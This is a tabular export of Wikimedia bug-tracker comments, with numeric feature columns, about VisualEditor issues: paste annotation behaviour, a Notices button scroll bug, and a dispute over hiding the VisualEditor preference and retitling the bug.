215337,VisualEditor: Paste of content does not use the context's annotation,"erm, yes. Sorry.",,,1374776898,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-ezht24x5cf4eytaekvqk,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,0.8333333333333334,"erm, yes. Sorry."
215331,VisualEditor: Paste of content does not use the context's annotation,"(In reply to comment #3)
> An editor at the English Wikipedia comments that the ability to copy and
> paste
> a link is "" definitely not an [sic] luxury feature but core functionality.""
> 
> I am inclined to agree.

That's presumably meant for bug 33105 which is about copying and pasting rich content, rather than this one?",,,1374775928,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ezht24x5cf4eytaekvqk,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,18.0,0.0,2.0,8.0,0.0,0.0,0.0,2.0,2.0,0.0,8.0,0.0,0.0,12.0,8.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,3.575,0.8,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

That's presumably meant for bug 33105 which is about copying and pasting rich content, rather than this one?"
215326,VisualEditor: Paste of content does not use the context's annotation,"An editor at the English Wikipedia comments that the ability to copy and paste a link is "" definitely not an [sic] luxury feature but core functionality.""

I am inclined to agree.",,,1374767136,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-ezht24x5cf4eytaekvqk,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,3.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,0.0,3.0,3.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,5.0,11.0,3.0,5.0,13.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,11.0,5.0,0.0,5.0,0.0,3.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.9210526315789473,0.8947368421052632,"An editor at the English Wikipedia comments that the ability to copy and paste a link is "" definitely not an [sic] luxury feature but core functionality.""

I am inclined to agree."
215322,VisualEditor: Paste of content does not use the context's annotation,"LibreOffice uses additive annotations, so pasting italic text into bold text results in bold+italic text. Google drive uses our current functionality.",,,1369294390,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-ezht24x5cf4eytaekvqk,task_subcomment,,True,c1,1,True,,,-6,,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,5.416666666666667,0.8333333333333334,"LibreOffice uses additive annotations, so pasting italic text into bold text results in bold+italic text. Google drive uses our current functionality."
215320,VisualEditor: Paste of content does not use the context's annotation,*** Bug 48159 has been marked as a duplicate of this bug. ***,,,1369247921,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ezht24x5cf4eytaekvqk,task_subcomment,,True,c1,1,True,,,-6,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 48159 has been marked as a duplicate of this bug. ***
50681,VisualEditor: Clicking Notices button or closing its dialog scrolls user back to the top,"Whenever you're scrolled down in a document and close or re-open the Notices flyout, the user is brought back to the top of the page (instead of staying where they are, like any other toolbar button would).

The toolbar floats and follows the user as they view the document, it is expected that interacting with it does not change the scroll offset. Most buttons abide by this except for Notices.

--------------------------
**Version**: unspecified
**Severity**: minor",Medium,50.0,1369144860,1370972881.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-7jfh3i424pezp3um3zzy,task_description,resolved,True,c1,1,True,False,True,-6,,1.0,0.0,0.0,2.0,1.0,5.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,1.0,5.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,8.0,3.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,9.0,3.0,7.0,4.0,3.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,13.0,2.0,0.0,0.0,0.0,5.0,0.0,2.0,1.0,0.0,2.0,0.0,1.0,0.0,3.99,0.71,"Whenever you're scrolled down in a document and close or re-open the Notices flyout, the user is brought back to the top of the page (instead of staying where they are, like any other toolbar button would).

The toolbar floats and follows the user as they view the document, it is expected that interacting with it does not change the scroll offset. Most buttons abide by this except for Notices.

--------------------------
**Version**: unspecified
**Severity**: minor"
213104,VisualEditor: Clicking Notices button or closing its dialog scrolls user back to the top,This is now fixed.,,,1370972881,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7jfh3i424pezp3um3zzy,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,This is now fixed.
50666,Mediawikiwiki: Make VisualEditor a hidden preference,"The newsletter update states that Visual Editor is now functioning in the content namespaces at MW, which includes the extension: and manual: namespaces (and it does).  That said, the default text for ""MediaWiki:Visualeditor-preference-enable"" just states user and main at that wiki. I am presuming that this is a WikimediaMessages update somewhere

As a temporary measure I have created [[mw:MediaWiki:Visualeditor-preference-enable]] that mentions the extra two namespace.

As a note the mention of {{MediaWiki:Visualeditor-extensionnamespacepagelink}} and {{MediaWiki:Visualeditor-manualnamespacepagelink}} failed, so I didn't link, and we will need to look to how these extra namespaces are going to be linked, and documented.

--------------------------
**Version**: unspecified
**Severity**: minor",Medium,50.0,1369100100,1373933935.0,PHID-USER-bmenasgfntvftznu6wxs,False,,False,PHID-TASK-q322vvsm62gyx2idxtx2,task_description,resolved,True,c1,1,False,False,True,-6,,0.0,0.0,0.0,0.5,0.5,4.0,0.5,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,2.0,0.5,3.5,6.5,0.0,1.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.5,0.0,6.5,1.0,0.5,2.5,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.5,2.5,0.0,0.0,0.0,0.0,1.0,9.5,1.5,1.0,0.0,0.5,0.0,0.0,0.0,0.5,3.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,5.0,2.5,11.5,1.5,3.5,7.5,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,2.5,6.5,7.0,0.0,1.0,0.0,2.5,0.0,1.5,1.5,0.0,1.5,0.0,0.0,1.5,4.208333333333334,0.6607142857142857,"The newsletter update states that Visual Editor is now functioning in the content namespaces at MW, which includes the extension: and manual: namespaces (and it does).  That said, the default text for ""MediaWiki:Visualeditor-preference-enable"" just states user and main at that wiki. I am presuming that this is a WikimediaMessages update somewhere

As a temporary measure I have created [[mw:MediaWiki:Visualeditor-preference-enable]] that mentions the extra two namespace.

As a note the mention of {{MediaWiki:Visualeditor-extensionnamespacepagelink}} and {{MediaWiki:Visualeditor-manualnamespacepagelink}} failed, so I didn't link, and we will need to look to how these extra namespaces are going to be linked, and documented.

--------------------------
**Version**: unspecified
**Severity**: minor"
212399,Mediawikiwiki: Make VisualEditor a hidden preference,"Change 73565 abandoned by Hashar:
(bug 50929) Remove 'visualeditor-enable' from $wgHiddenPrefs

Reason:
A preference to temporarily disable VisualEditor has been introduced in the VisualEditor extension itself : https://gerrit.wikimedia.org/r/#/c/75541/

This change is thus no more needed.

https://gerrit.wikimedia.org/r/73565",,,1374826591,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-q322vvsm62gyx2idxtx2,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,4.0,20.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,2.0,8.0,10.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,4.588235294117647,0.8627450980392157,"Change 73565 abandoned by Hashar:
(bug 50929) Remove 'visualeditor-enable' from $wgHiddenPrefs

Reason:
A preference to temporarily disable VisualEditor has been introduced in the VisualEditor extension itself : URL

This change is thus no more needed.

GERRIT_URL"
212394,Mediawikiwiki: Make VisualEditor a hidden preference,"Change 73565 had a related patch set uploaded by Helder.wiki:
(bug 50929) Remove 'visualeditor-enable' from $wgHiddenPrefs

https://gerrit.wikimedia.org/r/73565",,,1374499697,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-q322vvsm62gyx2idxtx2,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,11.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.444444444444445,0.9629629629629629,"Change 73565 had a related patch set uploaded by Helder.wiki:
(bug 50929) Remove 'visualeditor-enable' from $wgHiddenPrefs

GERRIT_URL"
212388,Mediawikiwiki: Make VisualEditor a hidden preference,"Then someone opened Bug 50929 - User preference to disable VisualEditor

The related change is  https://gerrit.wikimedia.org/r/#/c/73565/


That effectively would reopen this bug 48666.",,,1374499317,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-q322vvsm62gyx2idxtx2,task_subcomment,,True,c1,3,True,,,3,,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,26.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.703703703703703,1.0,"Then someone opened Bug 50929 - User preference to disable VisualEditor

The related change is  URL


That effectively would reopen this bug 48666."
212382,Mediawikiwiki: Make VisualEditor a hidden preference,"(In reply to comment #8)
> my intention was not to offend or attack, it was to draw attention that, to
> the best of my understanding, hiding the user option did not actually address
> the actual bug.

The 'actual' bug was, effectively, that ""the temporary description of a temporary configuration option does not automatically expand based on a different configuration variable's setting"".

However, the cause for complaint was ""the temporary description of a temporary configuration option on MW.org is wrong and confusing"", you are correct.

> i think that bug 51411 you created is perfect, and once it's fixed/addressed,
> everything will be fine.

It's exceedingly unlikely to be addressed, because (a) programmatic writing of human-readable descriptions is very delicate and not something we generally do, and (b) as we have said a great many times, this is about a configuration variable that exists purely for the duration of the alpha, to provide a way to ""opt in"". Availability of VE is a system-level configuration, not a user-level preference. By the time the software is actually marked for release by anyone outside WMF (when we remove the ""here be dragons"" labels), the underlying issue will be moot.",,,1373987046,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-q322vvsm62gyx2idxtx2,task_subcomment,,True,c1,3,True,,,2,,0.5,1.0,0.5,1.0,1.5,8.5,3.0,0.5,0.0,0.0,2.0,1.0,0.0,0.0,0.0,1.5,0.0,6.5,11.5,1.0,2.0,0.0,0.0,0.0,1.0,0.5,0.0,0.5,0.0,0.5,0.0,6.0,0.0,0.5,2.0,0.5,0.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.5,0.0,13.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,1.0,1.0,0.0,0.0,0.0,0.5,0.0,9.5,5.5,7.0,1.5,1.5,10.0,0.0,0.0,0.0,0.5,3.5,0.0,0.5,0.0,2.5,11.5,2.5,0.0,5.0,0.0,2.5,0.0,1.0,4.5,0.0,0.0,0.0,0.0,0.5,4.1,0.64,"(In reply to comment #8)
QUOTE
QUOTE
QUOTE

The 'actual' bug was, effectively, that ""the temporary description of a temporary configuration option does not automatically expand based on a different configuration variable's setting"".

However, the cause for complaint was ""the temporary description of a temporary configuration option on MW.org is wrong and confusing"", you are correct.

QUOTE
QUOTE

It's exceedingly unlikely to be addressed, because (a) programmatic writing of human-readable descriptions is very delicate and not something we generally do, and (b) as we have said a great many times, this is about a configuration variable that exists purely for the duration of the alpha, to provide a way to ""opt in"". Availability of VE is a system-level configuration, not a user-level preference. By the time the software is actually marked for release by anyone outside WMF (when we remove the ""here be dragons"" labels), the underlying issue will be moot."
212377,Mediawikiwiki: Make VisualEditor a hidden preference,"my intention was not to offend or attack, it was to draw attention that, to the best of my understanding, hiding the user option did not actually address the actual bug.

i think that bug 51411 you created is perfect, and once it's fixed/addressed, everything will be fine.

regarding the rewording of the synopsis: i am aware that it's common practice. actually, quite a few of the bugs i opened myself received this treatment. 
in all the cases i can recall, the rewording was for the better. 
my complain was not about the fact the synopsis was reworded, per se, but rather about the new description, which i do not think is a good one. 


regarding my presumption: i am not sure if i understand your comment about this bug being specific to ""mediawiki.org"". 
does this mean it's limited to wikimedia projects? if this is what you mean, i do not think you are correct. 
this issue (the original one, that is) pertains to any wiki that uses the mediawiki software with visualeditor (new synopsis and your fix not withstanding).

peace.",,,1373986460,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-q322vvsm62gyx2idxtx2,task_subcomment,,True,c1,3,False,,,2,,1.0,0.3333333333333333,0.0,0.3333333333333333,2.6666666666666665,5.333333333333333,4.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,4.666666666666667,0.6666666666666666,4.0,7.666666666666667,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,6.333333333333333,3.0,1.3333333333333333,0.6666666666666666,2.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,2.3333333333333335,0.0,2.0,0.0,0.3333333333333333,0.3333333333333333,9.333333333333334,1.3333333333333333,1.6666666666666667,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,1.0,0.0,1.0,0.3333333333333333,0.3333333333333333,0.0,5.666666666666667,4.666666666666667,0.0,1.6666666666666667,1.3333333333333333,9.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.0,0.6666666666666666,0.0,8.0,7.666666666666667,0.3333333333333333,0.3333333333333333,1.0,0.0,8.0,0.0,2.0,0.6666666666666666,0.3333333333333333,1.3333333333333333,0.3333333333333333,0.3333333333333333,1.0,3.8222222222222224,0.6977777777777779,"my intention was not to offend or attack, it was to draw attention that, to the best of my understanding, hiding the user option did not actually address the actual bug.

i think that bug 51411 you created is perfect, and once it's fixed/addressed, everything will be fine.

regarding the rewording of the synopsis: i am aware that it's common practice. actually, quite a few of the bugs i opened myself received this treatment. 
in all the cases i can recall, the rewording was for the better. 
my complain was not about the fact the synopsis was reworded, per se, but rather about the new description, which i do not think is a good one. 


regarding my presumption: i am not sure if i understand your comment about this bug being specific to ""mediawiki.org"". 
does this mean it's limited to wikimedia projects? if this is what you mean, i do not think you are correct. 
this issue (the original one, that is) pertains to any wiki that uses the mediawiki software with visualeditor (new synopsis and your fix not withstanding).

peace."
212372,Mediawikiwiki: Make VisualEditor a hidden preference,"(In reply to comment #6)
> (In reply to comment #2)
> > Simplest solution to this problem. :-)
> 
> an excellent case where ""simplest"" is very far from ""correct"" or ""best"".

I disagree.

> in addition to being a bad solution, this change only affects enwiki,

Not true.

> while the (original) bug is generic to all projects that install VE (and
> even non-projects, i.e., ""3rd party"" wikis).

The message is over-rideable, which is an entirely-adequate solution for most third parties. The initial request was, in my opinion, asking for a solution that didn't require a local over-ride, and met the intent of the team anyway (as part of removing VisualEditor as a local user preference, which was temporarily implemented for the opt-in alphas and is going away).

> as a side, together with this wrong and bad solution, James Forrester also
> changed the synopsis of the bug: from the original (""underlying text for
> VisualEditor in preferences [editing] tab & variable names?""), to ""Make
> VisualEditor a hidden preference"", i.e., instead of outlining the problem,
> the bug synopsis now spells the ""solution"".

This is perfectly standard practice here.
 
> this is wrong on several levels: it creates the impression that the bug
> originator (billinghurst) asked to hide the preference, which he didn't, of
> course,

Again, this is normal; comment 0 is the location to find what the originator wanted.

> and it hides the actual problem from someone reading this bug - only
> by digging in the history i was able to make sense of Comment #1, which looks
> now completely disjoint from the bug synopsis.

I'm sorry that you were confused.

> wrong or bad solutions to problems is something that can and does happen in
> every project. that's just life. 
> changing the synopsis the way it was changed is not something that can or
> should happen.

I strongly disagree.

> without digging too deeply, i'm going to revert the synopsis to the original
> one, and reopen -

Which I have reverted, and opened a new bug, bug 51411, for your concerns.

> presuming the problem affects more then just enwiki

Your presumption is wrong. Note that the title you over-ride explicitly mentioned ""Mediawikiwiki"" (i.e., MediaWiki.org).",,,1373933935,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-q322vvsm62gyx2idxtx2,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,1.0,0.3333333333333333,0.6666666666666666,5.0,2.3333333333333335,0.0,0.0,0.0,2.0,0.6666666666666666,0.0,0.0,0.0,2.0,0.0,4.333333333333333,5.666666666666667,0.0,0.6666666666666666,0.0,0.0,0.0,3.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,4.0,0.6666666666666666,0.0,1.3333333333333333,1.6666666666666667,0.0,0.6666666666666666,0.3333333333333333,1.0,0.0,0.0,0.3333333333333333,1.6666666666666667,0.0,1.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,13.333333333333334,0.6666666666666666,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,4.666666666666667,3.6666666666666665,15.333333333333334,1.0,1.0,6.333333333333333,0.0,0.0,0.0,0.3333333333333333,1.3333333333333333,0.0,1.0,0.0,3.6666666666666665,5.666666666666667,5.0,0.0,1.0,0.0,3.6666666666666665,0.0,1.6666666666666667,1.6666666666666667,0.0,1.0,0.0,0.3333333333333333,0.3333333333333333,3.6695146958304847,0.6258828890407838,"(In reply to comment #6)
QUOTE
QUOTE
QUOTE
QUOTE

I disagree.

QUOTE

Not true.

QUOTE
QUOTE

The message is over-rideable, which is an entirely-adequate solution for most third parties. The initial request was, in my opinion, asking for a solution that didn't require a local over-ride, and met the intent of the team anyway (as part of removing VisualEditor as a local user preference, which was temporarily implemented for the opt-in alphas and is going away).

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This is perfectly standard practice here.
 
QUOTE
QUOTE
QUOTE

Again, this is normal; comment 0 is the location to find what the originator wanted.

QUOTE
QUOTE
QUOTE

I'm sorry that you were confused.

QUOTE
QUOTE
QUOTE
QUOTE

I strongly disagree.

QUOTE
QUOTE

Which I have reverted, and opened a new bug, bug 51411, for your concerns.

QUOTE

Your presumption is wrong. Note that the title you over-ride explicitly mentioned ""Mediawikiwiki"" (i.e., MediaWiki.org)."
212368,Mediawikiwiki: Make VisualEditor a hidden preference,"(In reply to comment #2)
> Simplest solution to this problem. :-)

an excellent case where ""simplest"" is very far from ""correct"" or ""best"".

in addition to being a bad solution, this change only affects enwiki, while the (original) bug is generic to all projects that install VE (and even non-projects, i.e., ""3rd party"" wikis).

as a side, together with this wrong and bad solution, James Forrester also changed the synopsis of the bug: from the original (""underlying text for Visual editor in preferences [editing] tab & variable names?""), to ""Make VisualEditor a hidden preference"", i.e., instead of outlining the problem, the bug synopsis now spells the ""solution"". 
this is wrong on several levels: it creates the impression that the bug originator (billinghurst) asked to hide the preference, which he didn't, of course, and it hides the actual problem from someone reading this bug - only by digging in the history i was able to make sense of Comment #1, which looks now completely disjoint from the bug synopsis.

wrong or bad solutions to problems is something that can and does happen in every project. that's just life. 
changing the synopsis the way it was changed is not something that can or should happen.

without digging too deeply, i'm going to revert the synopsis to the original one, and reopen - presuming the problem affects more then just enwiki, and also, with the hope that Bug 50929  (basically a request to undo this change) will be fixed soon.

peace.",,,1373914200,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-q322vvsm62gyx2idxtx2,task_subcomment,,True,c1,3,False,,,2,,0.75,0.75,0.5,0.75,0.5,5.25,1.0,0.0,0.0,0.0,2.25,0.5,0.0,0.5,0.0,0.5,0.0,6.5,8.75,0.75,1.75,0.25,0.25,0.0,1.25,0.25,0.0,0.25,0.5,0.25,0.25,4.0,1.0,0.75,0.75,0.0,0.0,0.5,0.5,0.5,0.0,0.25,0.5,1.75,0.0,0.75,0.25,0.25,0.25,12.25,1.0,1.0,0.25,1.25,0.0,0.0,0.0,0.0,1.25,0.25,0.25,0.0,0.0,0.0,0.25,0.25,0.0,6.5,2.5,2.5,1.0,2.75,9.0,0.0,0.0,0.0,0.5,3.0,0.0,1.25,0.0,1.75,8.75,2.0,0.25,3.5,0.0,1.75,0.0,1.5,1.25,0.0,2.0,0.25,0.5,0.75,3.802729430379747,0.7422863924050633,"(In reply to comment #2)
QUOTE

an excellent case where ""simplest"" is very far from ""correct"" or ""best"".

in addition to being a bad solution, this change only affects enwiki, while the (original) bug is generic to all projects that install VE (and even non-projects, i.e., ""3rd party"" wikis).

as a side, together with this wrong and bad solution, James Forrester also changed the synopsis of the bug: from the original (""underlying text for Visual editor in preferences [editing] tab & variable names?""), to ""Make VisualEditor a hidden preference"", i.e., instead of outlining the problem, the bug synopsis now spells the ""solution"". 
this is wrong on several levels: it creates the impression that the bug originator (billinghurst) asked to hide the preference, which he didn't, of course, and it hides the actual problem from someone reading this bug - only by digging in the history i was able to make sense of Comment #1, which looks now completely disjoint from the bug synopsis.

wrong or bad solutions to problems is something that can and does happen in every project. that's just life. 
changing the synopsis the way it was changed is not something that can or should happen.

without digging too deeply, i'm going to revert the synopsis to the original one, and reopen - presuming the problem affects more then just enwiki, and also, with the hope that Bug 50929  (basically a request to undo this change) will be fixed soon.

peace."
212366,Mediawikiwiki: Make VisualEditor a hidden preference,Now done.,,,1372715431,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-q322vvsm62gyx2idxtx2,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,1.0,Now done.
212363,Mediawikiwiki: Make VisualEditor a hidden preference,"Change 70652 merged by jenkins-bot:
Make 'visualeditor-enable' pref hidden on wikis where VE is default

https://gerrit.wikimedia.org/r/70652",,,1372714295,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-q322vvsm62gyx2idxtx2,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,16.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,16.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.08,0.92,"Change 70652 merged by jenkins-bot:
Make 'visualeditor-enable' pref hidden on wikis where VE is default

GERRIT_URL"
